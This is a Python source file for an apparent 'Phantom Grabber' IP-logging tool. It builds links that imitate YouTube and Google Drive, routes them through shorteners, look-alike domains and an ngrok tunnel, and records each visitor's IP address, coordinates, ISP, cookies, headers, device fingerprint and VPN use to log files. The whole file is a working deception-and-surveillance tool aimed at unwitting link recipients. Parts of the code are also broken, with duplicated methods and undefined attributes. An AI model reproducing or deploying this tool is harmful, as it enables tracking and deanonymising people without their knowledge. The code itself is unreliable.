GUI.py

import tkinter as tk
from tkinter import ttk, messagebox
from flask import Flask, request, Response, redirect, jsonify
import threading
import requests
from datetime import datetime
import random
from pyngrok import ngrok, conf
import pyperclip
import uuid
import re
from urllib.parse import urljoin, urlparse
from werkzeug.middleware.proxy_fix import ProxyFix
from concurrent.futures import ThreadPoolExecutor
import socket
import netifaces
from scapy.all import *
import os
import aiohttp
import asyncio
import json
import socks
from sockshandler import SocksiPyHandler
import urllib3
from base64 import b64encode
import warnings
import time

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

app = Flask(__name__)
log_entries = []

from tunnel_manager import TunnelManager

class StealthLogger:
    def __init__(self):
        self.target_url = ""
        self.tunnel = None
        self.auth_token = ""
        self.base_port = 5000
        self.local_ip = self.get_local_ip()
        self.public_url = None
        self.local_server = None
        self.bypass_port = 5000
        self.server_port = 5000
        self.network_ip = self.get_network_ip()  # Get actual network IP
        self.real_ip = self.get_real_public_ip()
        self.dyndns_host = None  # Store DynDNS hostname
        self.server_port = 5000  # Fixed port for ngrok
        self.settings_file = "phantom_settings.json"
        self.load_settings()
        self.server_running = False
        self.local_server_port = random.randint(49152, 65535)  # Use random high port
        self.cloud_url = None
        self.server_id = uuid.uuid4().hex[:8]  # Unique server identifier
        self.route_paths = ['/watch', '/stream', '/content', '/view']
        self.templates = {
            'youtube': {
                'subdomain': f"www.youtube.com.watch-{uuid.uuid4().hex[:6]}",
                'path': f"watch/premium/content/{uuid.uuid4().hex[:11]}",
                'params': f"v={uuid.uuid4().hex[:11]}&feature=yts.{uuid.uuid4().hex[:8]}&ab_channel=OfficialContent_{random.randint(1000, 9999)}&t=0s"
            },
            'google': {
                'subdomain': f"drive.google.com.secure-{uuid.uuid4().hex[:6]}",
                'path': f"document/d/{uuid.uuid4().hex[:12]}/secure",
                'params': f"authuser=0&export=download&id={uuid.uuid4().hex[:16]}&confirm=t&uuid={uuid.uuid4()}"
            },
            'drive': {
                'subdomain': f"drive.google.com.share-{uuid.uuid4().hex[:6]}",
                'path': f"file/d/{uuid.uuid4().hex[:12]}/view/stream",
                'params': f"usp=share_link&confirm=true&uuid={uuid.uuid4()}&secure=1"
            }
        }
        self.local_redirect = None
        self.redirect_token = uuid.uuid4().hex[:16]
        self.ngrok_tunnel = None
        self.local_url = None
        self.is_ngrok_active = False
        self.route_id = uuid.uuid4().hex[:8]
        self.local_port = random.randint(49152, 65535)
        self.local_server_url = None  # Store local server URL
        self.session_token = uuid.uuid4().hex[:8]  # For validating redirects
        self.redirect_domains = [
            'is.gd', 'bit.ly', 'tinyurl.com', 'cutt.ly',
            'phantom-relay.up.railway.app', 'phantom-proxy.cyclic.app'
        ]
        self.server_token = uuid.uuid4().hex[:8]
        self.route_map = {}  # Store URL mappings
        self.url_shortener = 'https://tinyurl.com/api-create.php?url={}'
        self.api_keys = {
            'bitly': 'YOUR_BITLY_API_KEY',
            'rebrandly': 'YOUR_REBRANDLY_API_KEY',
            'cuttly': 'YOUR_CUTTLY_API_KEY',
            'shortest': 'YOUR_SHORTEST_API_KEY'
        }
        self.redirect_chain = []
        self.dyn_domains = {
            'ddns.net': 'https://{}.ddns.net',
            'hopto.org': 'https://{}.hopto.org', 
            'serveo.net': 'https://{}.serveo.net',
            'localhost.run': 'https://{}.localhost.run'
        }
        self.current_domain = None
        self.forwarding_chain = []
        self.route_token = uuid.uuid4().hex[:8]  # For route validation
        self.error_count = 0  # Track error counts
        self.visit_logs = []  # Store detailed visit logs
        self.geo_api = 'http://ip-api.com/json/{}'  # Free IP geolocation API
        self.last_ips = set()  # Track unique IPs
        self.spoof_enabled = False  # Add missing attribute
        self.current_proxy = None   # Add missing attribute
        self.spoofed_host = None    # Add missing attribute
        self.stealth_domains = [
            'bit.do', 'rebrand.ly', 'v.gd', 't.ly', 
            'tiny.one', 'zws.im', 'shorturl.at'
        ]
        self.anti_detect_domains = {
            'media': ['cdn.cloudflare.net', 'akamai.net', 'fastly.net'],
            'corp': ['sharepoint.com', 'office.com', 'microsoft.com'],
            'cloud': ['storage.googleapis.com', 's3.amazonaws.com']
        }
        self.valid_referers = [
            'https://www.google.com',
            'https://www.bing.com',
            'https://www.youtube.com'
        ]
        self.ip_apis = [
            'https://api.ipify.org?format=json',
            'https://api64.ipify.org/json',
            'https://api.myip.com',
            'https://ifconfig.me/all.json',
            'https://api.techniknews.net/ip/'
        ]
        self.network_apis = {
            'router': 'http://192.168.1.1/info',  # Common router IP
            'gateway': 'http://router.local/status'
        }
        self.spoof_domains = {
            'youtube': 'https://www.cut-link.pro/api/v1/create',
            'drive': 'https://www.short-url.pro/api/v1/create',
            'dropbox': 'https://www.link-mask.com/api/v1/create'
        }
        self.url_masking = {
            'youtube': {
                'domains': ['youtube-premium.com', 'youtube-studio.com', 'yt-creator.com'],
                'paths': ['watch', 'studio', 'creator', 'premium'],
                'params': ['v', 'list', 'index', 'feature', 't']
            },
            'google': {
                'domains': ['google-drive.com', 'gdocs-share.com', 'gsuite-doc.com'],
                'paths': ['view', 'share', 'file', 'folder'],
                'params': ['id', 'usp', 'authuser']
            }
        }
        self.advanced_tracking = {
            'network': ['connection_type', 'bandwidth', 'latency', 'router_info'],
            'device': ['gpu', 'cpu_cores', 'ram', 'battery', 'sensors'],
            'location': ['timezone', 'language', 'region', 'carrier'],
            'browser': ['plugins', 'localStorage', 'canvas', 'webgl']
        }
        # Add logs directory
        self.logs_dir = "phantom_logs"
        if not os.path.exists(self.logs_dir):
            os.makedirs(self.logs_dir)
            
        # Add smart tracking
        self.smart_tracking = {
            'hardware': ['gpu', 'cpu', 'ram', 'screen', 'battery'],
            'software': ['os', 'browser', 'plugins', 'fonts'],
            'network': ['type', 'speed', 'proxy', 'vpn'],
            'device': ['model', 'brand', 'mobile', 'architecture']
        }
        self.vpn_signatures = {
            'NordVPN': ['nord', 'tefincom', 'nordvpn'],
            'ProtonVPN': ['proton', 'protonvpn']
        }
        
        self.vpn_detection_apis = [
            'https://vpnapi.io/api/',
            'https://proxycheck.io/v2/',
            'https://iphub.info/api/',
            'http://ip-api.com/json/'
        ]
        self.ngrok_config = {
            'authtoken': None,  # Will be set later
            'region': 'us',
            'addr': 5000,
            'proto': 'http'
        }
        self.tunnel_manager = TunnelManager()
        self.url_shorteners = [
            'https://tinyurl.com/api-create.php?url={}',
            'https://is.gd/create.php?format=simple&url={}',
            'https://v.gd/create.php?format=simple&url={}',
            'https://clck.ru/--?url={}',
        ]
        self.server_base_url = None  # Store direct server URL

    def get_local_ip(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            s.connect(('8.8.8.8', 1))  # Connect to Google DNS
            local_ip = s.getsockname()[0]
        except:
            local_ip = '127.0.0.1'
        finally:
            s.close()
        return local_ip

    def get_network_ip(self):
        # Get the actual network IP that others can reach
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            # Doesn't need to be reachable
            s.connect(('10.255.255.255', 1))
            ip = s.getsockname()[0]
        except Exception:
            ip = '127.0.0.1'
        finally:
            s.close()
        return ip

    def get_real_public_ip(self):
        try:
            return requests.get('https://api.ipify.org?format=json').json()['ip']
        except:
            return "Unknown"

    async def async_test_proxy(self, proxy):
        try:
            async with aiohttp.ClientSession() as session:
                proxy_url = f"http://{proxy}"
                async with session.get('https://api.ipify.org?format=json', 
                    proxy=proxy_url, timeout=3) as response:
                    return await response.json(), proxy
        except:
            return None, proxy

    def load_proxy_list(self):
        working_proxies = []
        # Create async event loop in separate thread
        loop = asyncio.new_event_loop()
        asyncio.set_event_loop(loop)
        
        async def fetch_proxies():
            tasks = []
            for source in self.proxy_sources:
                try:
                    async with aiohttp.ClientSession() as session:
                        async with session.get(source) as response:
                            proxies = await response.text()
                            proxy_list = proxies.strip().split('\n')
                            # Test proxies concurrently
                            tasks.extend([self.async_test_proxy(p) for p in proxy_list])
                except:
                    continue
            
            # Run all proxy tests concurrently
            results = await asyncio.gather(*tasks, return_exceptions=True)
            return [proxy for result, proxy in results if result]
        
        working_proxies = loop.run_until_complete(fetch_proxies())
        loop.close()
        self.current_proxies = working_proxies
        return len(working_proxies) > 0

    def test_proxy(self, proxy):
        try:
            proxy_dict = {
                'http': f'http://{proxy}',
                'https': f'http://{proxy}'
            }
            test_url = 'http://httpbin.org/ip'
            response = requests.get(test_url, proxies=proxy_dict, timeout=3)
            return response.status_code == 200
        except:
            return False

    def get_working_proxy(self):
        if not self.current_proxies:
            if not self.load_proxy_list():
                return None
        
        # Try proxies until one works
        while self.current_proxies:
            proxy = random.choice(self.current_proxies)
            if self.test_proxy(proxy):
                return f"http://{proxy}"
            self.current_proxies.remove(proxy)
        
        return None

    def create_stealth_chain(self, url):
        """Create undetectable redirect chain"""
        try:
            # Generate convincing intermediary URLs
            domain = random.choice(self.anti_detect_domains['cloud'])
            cdn_domain = random.choice(self.anti_detect_domains['media'])
            corp_domain = random.choice(self.anti_detect_domains['corp'])
            
            # Create redirect chain through legitimate-looking domains
            chain = [
                f"https://{domain}/content/view?source={uuid.uuid4().hex[:8]}",
                f"https://{cdn_domain}/delivery/content/{uuid.uuid4().hex[:12]}",
                f"https://{corp_domain}/shared/view/{uuid.uuid4().hex[:16]}"
            ]
            
            # Add our local server as final destination
            chain.append(url)
            
            self.redirect_chain = chain
            return self.create_short_url(chain[0])
        except:
            return url

    def generate_spoofed_url(self, service, server_url):
        """Generate direct server URL with shortening"""
        if not self.server_running:
            raise Exception("Server not running")
            
        # Create shortened URL pointing directly to server
        redirect_url = self.create_redirect_url(self.server_base_url)
        
        # Store mapping for direct server access
        track_id = urlparse(redirect_url).path.split('/')[-1]
        self.route_map[track_id] = self.target_url
        
        return redirect_url

    def start_server(self):
        """Start server with global access"""
        try:
            if not self.target_url:
                raise Exception("Target URL required")

            # Start Flask server first
            self.server_running = True
            threading.Thread(target=self._run_server_with_retry, daemon=True).start()
            time.sleep(2)  # Wait for server to start

            # Setup global access via ngrok
            if not self.setup_global_access():
                raise Exception("Failed to setup global access")

            # Create public URL that redirects to target
            return self.create_redirect_url(self.public_url)

        except Exception as e:
            self.server_running = False
            raise e

    def _run_server_with_retry(self):
        """Run Flask with proper settings"""
        retries = 3
        while retries > 0:
            try:
                app.run(
                    host='0.0.0.0',  # Listen on all interfaces
                    port=self.server_port,
                    debug=False,
                    threaded=True,
                    use_reloader=False  # Prevent duplicate servers
                )
                break
            except Exception as e:
                print(f"Server error: {str(e)}")
                retries -= 1
                time.sleep(2)
                if retries == 0:
                    self.server_running = False

    def load_settings(self):
        try:
            if os.path.exists(self.settings_file):
                with open(self.settings_file, 'r') as f:
                    settings = json.load(f)
                    self.auth_token = settings.get('auth_token', '')
                    self.dyndns_host = settings.get('dyndns_host', '')  # Add DynDNS loading
        except:
            self.auth_token = ''
            self.dyndns_host = ''

    def save_settings(self):
        try:
            settings = {
                'auth_token': self.auth_token,
                'dyndns_host': self.dyndns_host  # Add DynDNS saving
            }
            with open(self.settings_file, 'w') as f:
                json.dump(settings, f)
        except:
            pass

    def create_short_url(self, url):
        """Create shortened URL using TinyURL"""
        if not url:
            return None
            
        try:
            response = requests.get(self.url_shortener.format(url))
            if response.ok:
                return response.text.strip()
        except:
            pass
        return url

    def get_ip_location(self, ip):
        """Get IP location info"""
        try:
            response = requests.get(self.geo_api.format(ip))
            if response.ok:
                data = response.json()
                return {
                    'city': data.get('city', 'Unknown'),
                    'country': data.get('country', 'Unknown'),
                    'isp': data.get('isp', 'Unknown')
                }
        except:
            pass
        return {'city': 'Unknown', 'country': 'Unknown', 'isp': 'Unknown'}

    def get_network_info(self):
        """Get detailed network info"""
        try:
            info = {}
            # Get network interface info
            for interface in netifaces.interfaces():
                if netifaces.AF_INET in netifaces.ifaddresses(interface):
                    addr = netifaces.ifaddresses(interface)[netifaces.AF_INET][0]
                    info['interface'] = interface
                    info['local_ip'] = addr['addr']
                    info['netmask'] = addr['netmask']
                    break
                    
            # Try to get router model/info
            router_response = requests.get('http://192.168.1.1', timeout=1)
            if router_response.ok:
                info['router'] = router_response.headers.get('Server')
                
            return info
        except:
            return {}

    def create_spoofed_url(self, template, url):
        """Create undetectable spoofed URL"""
        try:
            api_url = self.spoof_domains[template]
            
            # Create custom URL with domain spoofing
            params = {
                'url': url,
                'domain': f"www.{template}.com",
                'custom': True,
                'path': 'watch' if template == 'youtube' else 'share',
                'https': True
            }
            
            response = requests.post(api_url, json=params)
            if response.ok:
                return response.json()['url']
                
        except:
            return self.create_short_url(url)

    def log_visit(self, request_data):
        """Enhanced data grabbing and tracking"""
        try:
            # Get real IP through multiple fallback methods
            real_ip = (
                request.headers.get('CF-Connecting-IP') or
                request.headers.get('X-Real-IP') or
                request.headers.get('X-Client-IP') or
                request.headers.get('X-Forwarded-For', '').split(',')[0] or
                request.headers.get('True-Client-IP') or
                request.remote_addr
            )

            # Get enhanced location data from multiple APIs
            location = {}
            for api in [
                f'http://ip-api.com/json/{real_ip}?fields=66846719',  # All fields
                f'https://ipapi.co/{real_ip}/json/',
                f'https://ipwhois.app/json/{real_ip}',
                f'https://freegeoip.app/json/{real_ip}',
                f'https://extreme-ip-lookup.com/json/{real_ip}'
            ]:
                try:
                    resp = requests.get(api, timeout=3).json()
                    if resp and not resp.get('error'):
                        location = {
                            'city': resp.get('city'),
                            'region': resp.get('regionName') or resp.get('region'),
                            'country': resp.get('country'),
                            'country_code': resp.get('countryCode'),
                            'continent': resp.get('continent'),
                            'isp': resp.get('isp') or resp.get('org'),
                            'asn': resp.get('as') or resp.get('asn'),
                            'organization': resp.get('org') or resp.get('organization'),
                            'lat': resp.get('lat') or resp.get('latitude'),
                            'lon': resp.get('lon') or resp.get('longitude'),
                            'timezone': resp.get('timezone'),
                            'zip': resp.get('zip') or resp.get('postal'),
                            'currency': resp.get('currency'),
                            'calling_code': resp.get('calling_code'),
                            'languages': resp.get('languages'),
                            'threat_data': {
                                'is_proxy': resp.get('proxy') or False,
                                'is_hosting': resp.get('hosting') or False,
                                'is_tor': resp.get('tor') or False,
                                'is_vpn': resp.get('vpn') or False,
                                'threat_level': resp.get('threat') or 'low',
                                'bot_status': resp.get('is_bot') or False
                            }
                        }
                        break
                except:
                    continue

            # Get detailed system info
            system_info = {
                'browser': {
                    'name': self.get_browser_from_ua(request_data.headers.get('User-Agent', '')),
                    'language': request_data.headers.get('Accept-Language'),
                    'encoding': request_data.headers.get('Accept-Encoding'),
                    'version': request_data.headers.get('Sec-CH-UA'),
                    'platform': request_data.headers.get('Sec-CH-UA-Platform'),
                    'mobile': request_data.headers.get('Sec-CH-UA-Mobile'),
                    'architecture': request_data.headers.get('Sec-CH-UA-Arch')
                },
                'headers': {
                    'origin': request_data.headers.get('Origin'),
                    'referer': request_data.headers.get('Referer'),
                    'host': request_data.headers.get('Host'),
                    'via': request_data.headers.get('Via'),
                    'forwarded': request_data.headers.get('Forwarded'),
                    'connection': request_data.headers.get('Connection')
                },
                'network': {
                    'remote_port': request.environ.get('REMOTE_PORT'),
                    'scheme': request.scheme,
                    'protocol': request.environ.get('SERVER_PROTOCOL'),
                    'method': request.method,
                    'content_type': request.content_type,
                    'proxy_info': bool(request.headers.get('Via') or request.headers.get('X-Forwarded-For')),
                    'connection_info': request.headers.get('Connection'),
                    'vpn_detected': self.detect_vpn(real_ip)
                },
                'security': {
                    'ssl_info': request.environ.get('HTTPS', 'off') == 'on',
                    'ssl_protocol': request.environ.get('SSL_PROTOCOL'),
                    'ssl_cipher': request.environ.get('SSL_CIPHER'),
                    'cors_origin': request.headers.get('Origin'),
                    'sec_fetch_site': request.headers.get('Sec-Fetch-Site'),
                    'sec_fetch_mode': request.headers.get('Sec-Fetch-Mode'),
                    'sec_fetch_dest': request.headers.get('Sec-Fetch-Dest')
                }
            }

            # Build comprehensive log
            log = {
                'timestamp': datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
                'request_id': uuid.uuid4().hex[:8],
                'public_ip': real_ip,
                'local_ip': request.remote_addr,
                'location': location,
                'system': system_info,
                'request': {
                    'url': request.url,
                    'base_url': request.base_url,
                    'path': request.path,
                    'query_string': request.query_string.decode() if request.query_string else None,
                    'method': request.method,
                    'cookies': dict(request.cookies),
                    'headers': dict(request.headers)
                },
                'fingerprint': {
                    'hash': hash(str(request.headers)),
                    'signature': self.generate_fingerprint(request_data)
                }
            }

            log_entries.append(log)
            return log

        except Exception as e:
            print(f"Enhanced logging error: {str(e)}")
            return self._fallback_log(request_data)

    def generate_fingerprint(self, request_data):
        """Generate unique visitor fingerprint"""
        components = [
            request_data.headers.get('User-Agent', ''),
            request_data.headers.get('Accept-Language', ''),
            request_data.headers.get('Accept-Encoding', ''),
            request_data.headers.get('Sec-CH-UA-Platform', ''),
            str(request_data.headers.get('Sec-CH-UA-Mobile')),
            request.remote_addr,
            request.environ.get('HTTP_X_FORWARDED_FOR', ''),
            str(request.environ.get('REMOTE_PORT')),
            request.environ.get('HTTP_ACCEPT', '')
        ]
        return hash(''.join(filter(None, components)))

    def _fallback_log(self, request_data):
        """Fallback logging if main logging fails"""
        return {
            'timestamp': datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
            'ip': request.remote_addr,
            'user_agent': request_data.headers.get('User-Agent', 'Unknown'),
            'headers': dict(request_data.headers)
        }

    def get_os_from_ua(self, ua):
        """Enhanced OS detection from User Agent"""
        ua = ua.lower()
        os_patterns = [
            ('windows 11', 'Windows 11'),
            ('windows 10', 'Windows 10'),
            ('windows nt 10', 'Windows 10'),
            ('windows nt 6.3', 'Windows 8.1'),
            ('windows nt 6.2', 'Windows 8'),
            ('windows nt 6.1', 'Windows 7'),
            ('windows nt 6.0', 'Windows Vista'),
            ('windows nt 5.1', 'Windows XP'),
            ('windows nt 5.0', 'Windows 2000'),
            ('mac os x', 'macOS'),
            ('iphone os', 'iOS'),
            ('android', 'Android'),
            ('linux', 'Linux'),
            ('ubuntu', 'Ubuntu Linux'),
            ('fedora', 'Fedora Linux'),
            ('debian', 'Debian Linux')
        ]
        
        for pattern, name in os_patterns:
            if pattern in ua:
                # Get version if available
                if 'android' in pattern:
                    version = re.search(r'android\s+([0-9.]+)', ua)
                    if version:
                        return f"{name} {version.group(1)}"
                elif 'mac os x' in pattern:
                    version = re.search(r'mac os x\s+([0-9_]+)', ua)
                    if version:
                        return f"{name} {version.group(1).replace('_', '.')}"
                return name
        return 'Unknown OS'

    def parse_device_info(self, ua):
        """Enhanced device detection from User Agent"""
        ua = ua.lower()
        info = {'type': 'desktop', 'brand': 'Unknown', 'model': 'Unknown'}
        
        # Mobile device detection
        if any(x in ua for x in ['mobile', 'android', 'iphone', 'ipad', 'windows phone']):
            info['type'] = 'mobile'
            
            # Apple devices
            if 'iphone' in ua:
                info['brand'] = 'Apple'
                version = re.search(r'iphone\s?(?:os\s)?(\d+)', ua)
                info['model'] = f'iPhone {version.group(1) if version else ""}'.strip()
            elif 'ipad' in ua:
                info['brand'] = 'Apple'
                version = re.search(r'ipad\s?(?:os\s)?(\d+)', ua)
                info['model'] = f'iPad {version.group(1) if version else ""}'.strip()
                info['type'] = 'tablet'
                
            # Samsung devices
            elif 'samsung' in ua or 'sm-' in ua:
                info['brand'] = 'Samsung'
                model = re.search(r'(sm-[a-z0-9]+)', ua)
                if model:
                    info['model'] = model.group(1).upper()
                    
            # Other Android devices
            elif 'android' in ua:
                # Common Android manufacturers
                brands = {
                    'pixel': 'Google',
                    'huawei': 'Huawei',
                    'oneplus': 'OnePlus',
                    'xiaomi': 'Xiaomi',
                    'oppo': 'OPPO',
                    'vivo': 'Vivo',
                    'lg': 'LG',
                    'motorola': 'Motorola',
                    'nokia': 'Nokia'
                }
                
                for brand_key, brand_name in brands.items():
                    if brand_key in ua:
                        info['brand'] = brand_name
                        model = re.search(rf'{brand_key}\s([a-z0-9]+)', ua)
                        if model:
                            info['model'] = model.group(1).upper()
                        break
                        
        # Desktop/Laptop detection
        else:
            manufacturers = {
                'macintosh': 'Apple',
                'mac': 'Apple',
                'windows': 'PC',
                'linux': 'PC'
            }
            
            for key, brand in manufacturers.items():
                if key in ua:
                    info['brand'] = brand
                    if brand == 'Apple':
                        info['model'] = 'MacBook/iMac'
                    break
                    
        return info

    def get_browser_from_ua(self, ua):
        """Enhanced browser detection"""
        ua = ua.lower()
        browsers = {
            'edge': {
                'name': 'Microsoft Edge',
                'pattern': r'edge/(\d+)'
            },
            'chrome': {
                'name': 'Google Chrome',
                'pattern': r'chrome/(\d+)'
            },
            'firefox': {
                'name': 'Firefox',
                'pattern': r'firefox/(\d+)'
            },
            'safari': {
                'name': 'Safari',
                'pattern': r'safari/(\d+)'
            },
            'opera': {
                'name': 'Opera',
                'pattern': r'opr/(\d+)'
            },
            'brave': {
                'name': 'Brave',
                'pattern': r'brave/(\d+)'
            }
        }
        
        for key, browser in browsers.items():
            if key in ua:
                version = re.search(browser['pattern'], ua)
                if version:
                    return f"{browser['name']} {version.group(1)}"
                return browser['name']
        return 'Unknown Browser'

    def create_masked_url(self, template, target_url):
        """Create untraceable custom URL"""
        try:
            # Generate unique tracking ID
            track_id = f"{uuid.uuid4().hex[:6]}-{random.randint(10000,99999)}"
            
            # Pick random domain variation
            domain = random.choice(self.url_masking[template]['domains'])
            path = random.choice(self.url_masking[template]['paths'])
            
            # Create convincing URL structure
            if template == 'youtube':
                url = f"https://{domain}/{path}?v={track_id}&t=0s&feature=premium"
            else:
                url = f"https://{domain}/{path}/{track_id}/view?usp=sharing"
                
            # Store mapping
            self.route_map[track_id] = {
                'target': target_url,
                'created': datetime.now().timestamp(),
                'template': template
            }
            
            return url
        except:
            return target_url

    def collect_advanced_data(self, request_data):
        """Collect comprehensive system/network data"""
        data = {}
        try:
            # Get detailed network info
            connection = request_data.headers.get('Connection-Type', '')
            downlink = request_data.headers.get('Downlink', '')
            rtt = request_data.headers.get('RTT', '')
            
            router_info = self.get_network_info()
            carrier = request_data.headers.get('Carrier', '')
            
            data['network'] = {
                'connection': connection,
                'speed': downlink,
                'latency': rtt,
                'router': router_info.get('router'),
                'carrier': carrier,
                'interface': router_info.get('interface')
            }
            
            # Get precise location
            location = self.get_ip_location(request_data.remote_addr)
            data['location'] = {
                'city': location.get('city'),
                'region': location.get('region') or location.get('regionName'),
                'country': location.get('country') or location.get('country_name'),
                'timezone': location.get('timezone'),
                'coordinates': location.get('loc'),
                'accuracy': location.get('accuracy')
            }
            
            return data
        except:
            return {}

    def get_system_fingerprint(self, request_data):
        """Get detailed system information"""
        try:
            user_agent = request_data.headers.get('User-Agent', '')
            platform = request_data.user_agent.platform if request_data.user_agent else ''
            
            # Parse user agent deeply
            browser_info = self.get_browser_from_ua(user_agent)
            os_info = self.get_os_from_ua(user_agent)
            device_info = self.parse_device_info(user_agent)
            
            # Get network details
            connection = request_data.headers.get('Connection-Type', '')
            downlink = request_data.headers.get('Downlink', '')
            
            return {
                'browser': {
                    'name': browser_info,
                    'language': request_data.headers.get('Accept-Language', ''),
                    'plugins': len(request_data.headers.get('Sec-CH-UA-Platform', '').split(',')),
                },
                'os': {
                    'name': os_info,
                    'platform': platform,
                    'architecture': request_data.headers.get('Sec-CH-UA-Arch', '')
                },
                'device': {
                    'type': device_info.get('type', 'desktop'),
                    'brand': device_info.get('brand', ''),
                    'model': device_info.get('model', '')
                },
                'network': {
                }
            }
        except:
            return {}

    def parse_device_info(self, ua):
        """Extract detailed device info from user agent"""
        info = {'type': 'desktop', 'brand': 'Unknown', 'model': 'Unknown'}
        
        if 'Mobile' in ua:
            info['type'] = 'mobile'
            if 'iPhone' in ua:
                info['brand'] = 'Apple'
                info['model'] = 'iPhone'
            elif 'Samsung' in ua:
                info['brand'] = 'Samsung'
                if 'SM-' in ua:
                    info['model'] = ua.split('SM-')[1].split(')')[0]
        elif 'Tablet' in ua:
            info['type'] = 'tablet'
        
        return info

    def detect_vpn(self, ip):
        """Enhanced VPN detection for ProtonVPN and NordVPN only"""
        try:
            vpn_data = {
                'detected': False,
                'provider': 'None',
                'type': 'None'
            }
            
            # Check only these two VPN providers
            for api in self.vpn_detection_apis:
                try:
                    response = requests.get(f"{api}{ip}", timeout=3)
                    if response.ok:
                        data = response.text.lower()
                        # Check for NordVPN
                        if any(sig in data for sig in self.vpn_signatures['NordVPN']):
                            vpn_data['detected'] = True
                            vpn_data['provider'] = 'NordVPN'
                            break
                        # Check for ProtonVPN
                        elif any(sig in data for sig in self.vpn_signatures['ProtonVPN']):
                            vpn_data['detected'] = True
                            vpn_data['provider'] = 'ProtonVPN'
                            break
                except:
                    continue
                    
            return vpn_data
        except:
            return {'detected': False, 'provider': 'Unknown', 'type': 'Unknown'}

    def get_precise_location(self, ip):
        """Get detailed location data"""
        try:
            # Try multiple geolocation APIs for accuracy
            apis = [
                f'https://ipapi.co/{ip}/json/',
                f'https://freegeoip.app/json/{ip}',
                f'https://extreme-ip-lookup.com/json/{ip}',
                f'http://ip-api.com/json/{ip}'
            ]
            
            for api in apis:
                try:
                    response = requests.get(api, timeout=3)
                    if response.ok:
                        data = response.json()
                        return {
                            'city': data.get('city'),
                            'region': data.get('region') or data.get('regionName'),
                            'country': data.get('country') or data.get('country_name'),
                            'postal': data.get('zip') or data.get('postal'),
                            'latitude': data.get('lat') or data.get('latitude'),
                            'longitude': data.get('lon') or data.get('longitude'),
                            'isp': data.get('isp') or data.get('org'),
                            'org': data.get('org') or data.get('organization'),
                            'timezone': data.get('timezone'),
                            'asn': data.get('as') or data.get('asn')
                        }
                except:
                    continue
                    
            return None
        except:
            return None

    def setup_global_access(self):
        """Setup global access to local server"""
        try:
            # Configure ngrok for port forwarding
            if self.auth_token:
                ngrok.set_auth_token(self.auth_token)

            # Connect local server port to ngrok
            tunnel = ngrok.connect(
                f"http://localhost:{self.server_port}",
                "http"
            )
            
            # Store ngrok URLs
            self.public_url = tunnel.public_url
            self.local_url = f"http://localhost:{self.server_port}"
            self.tunnel = tunnel
            
            print(f"Server accessible at: {self.public_url}")
            return True

        except Exception as e:
            print(f"Error setting up server access: {str(e)}")
            return False

    def create_redirect_url(self, server_url):
        """Create shortened URL that redirects to public server"""
        try:
            # Generate unique path
            path_id = uuid.uuid4().hex[:8]
            
            # Store target mapping
            self.route_map[path_id] = self.target_url
            
            # Create trackable URL using public ngrok URL
            track_url = f"{self.public_url}/r/{path_id}"
            
            # Create shortened URL
            for shortener in self.url_shorteners:
                try:
                    response = requests.get(shortener.format(track_url), timeout=5)
                    if response.ok:
                        return response.text.strip()
                except:
                    continue

            return track_url
        except:
            return server_url

    def save_logs(self):
        """Enhanced log saving with complete data capture"""
        try:
            timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
            filename = f"phantom_logs_{timestamp}.txt"
            filepath = os.path.join(self.logs_dir, filename)
            
            # Create detailed stats
            unique_ips = len(set(entry.get('public_ip') for entry in log_entries if entry.get('public_ip')))
            unique_locations = len(set(f"{entry.get('location',{}).get('city')},{entry.get('location',{}).get('country')}" 
                                    for entry in log_entries))
            vpn_users = len([entry for entry in log_entries 
                           if entry.get('system',{}).get('network',{}).get('vpn_detected',{}).get('detected')])
            
            with open(filepath, 'w', encoding='utf-8') as f:
                # Write enhanced header
                f.write(f"🌐 Phantom Grabber Logs - {timestamp}\n")
                f.write("="*70 + "\n")
                f.write(f"📊 Total Captures: {len(log_entries)}\n")
                f.write(f"🔍 Unique IPs: {unique_ips}\n")
                f.write(f"📍 Unique Locations: {unique_locations}\n")
                f.write(f"🔒 VPN Users Detected: {vpn_users}\n")
                f.write("="*70 + "\n\n")
                
                # Write detailed logs with all available data
                for entry in log_entries:
                    f.write(f"⏰ [{entry.get('timestamp', 'Unknown')}]\n")
                    
                    # Network Info
                    f.write(f"🌐 Public IP: {entry.get('public_ip', 'Unknown')}\n")
                    f.write(f"🏠 Private IP: {entry.get('local_ip', 'Unknown')}\n")
                    
                    # Location Info
                    location = entry.get('location', {})
                    f.write(f"📍 Location: {location.get('city', 'Unknown')}, {location.get('region', 'Unknown')}, {location.get('country', 'Unknown')}\n")
                    f.write(f"🌍 Coordinates: {location.get('lat', 'Unknown')}, {location.get('lon', 'Unknown')}\n")
                    f.write(f"🔌 ISP: {location.get('isp', 'Unknown')}\n")
                    f.write(f"🏢 Organization: {location.get('organization', 'Unknown')}\n")
                    f.write(f"⏱️ Timezone: {location.get('timezone', 'Unknown')}\n")
                    f.write(f"📡 ASN: {location.get('asn', 'Unknown')}\n")
                    
                    # System Info
                    system = entry.get('system', {})
                    browser = system.get('browser', {})
                    device = system.get('device', {})
                    os_info = system.get('os', {})
                    network = system.get('network', {})
                    security = system.get('security', {})
                    
                    f.write(f"💻 System Details:\n")
                    f.write(f"   OS: {os_info.get('name', 'Unknown')} ({os_info.get('platform', '')})\n")
                    f.write(f"   Browser: {browser.get('name', 'Unknown')} - {browser.get('language', 'Unknown')}\n")
                    f.write(f"   Device: {device.get('type', 'Unknown')} - {device.get('brand', 'Unknown')} {device.get('model', 'Unknown')}\n")
                    
                    # Security Info
                    vpn_info = network.get('vpn_detected', {})
                    f.write(f"🔒 Security:\n")
                    f.write(f"   VPN Detected: {'Yes' if vpn_info.get('detected') else 'No'}\n")
                    if vpn_info.get('detected'):
                        f.write(f"   VPN Provider: {vpn_info.get('provider', 'Unknown')}\n")
                    f.write(f"   Proxy: {'Yes' if network.get('proxy_info', False) else 'No'}\n")
                    
                    # Request Info
                    request_info = entry.get('request', {})
                    f.write(f"🌐 Request Details:\n")
                    f.write(f"   URL: {request_info.get('url', 'Unknown')}\n")
                    f.write(f"   Method: {request_info.get('method', 'Unknown')}\n")
                    f.write(f"   Path: {request_info.get('path', 'Unknown')}\n")
                    
                    f.write("▀"*70 + "\n\n")
            
            return filepath
            
        except Exception as e:
            print(f"Error saving logs: {str(e)}")
            return None

